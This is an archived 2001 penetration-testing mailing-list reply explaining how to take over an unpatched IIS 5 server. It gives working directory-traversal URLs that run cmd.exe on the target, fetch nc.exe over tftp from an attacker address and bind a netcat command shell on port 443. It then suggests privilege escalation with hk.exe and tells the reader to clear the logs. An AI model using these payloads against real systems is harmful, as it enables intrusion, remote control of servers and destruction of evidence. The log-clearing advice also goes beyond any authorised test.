Penetration Testing mailing list archives

Re: pen testing IIS5


From: "exceed mekka-symposium" <exceed_ms () hotmail com>
Date: Sun, 24 Jun 2001 19:46:10 -0000

I am pen-testing IIS 5 [no hotfixes] running in WinNT 4.0 with no fixes. At this point I want to upload a file to the box [nc.exe] and then I will definately have the box. How can I go about doing this?


Did you tried cgi-decode?

This will upload nc.exe in target's %SYSTEMROOT%\system32 directory:

http://IIS_IP/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp.exe+-i+your_IP+GET+nc.exe+c:\winnt\system32\nc.exe

This will bind nc.exe on port 443:

http://IIS_IP/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+nc.exe+-L+-p+443+-d+-e+cmd.exe

[notice: links may be broken]

Telnet IIS_IP 443

Voila. :)

Elevate privileges using hk.exe...

Hope this will work.

./exceed

PS: don't forget to clear the logs :)
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.


Current thread: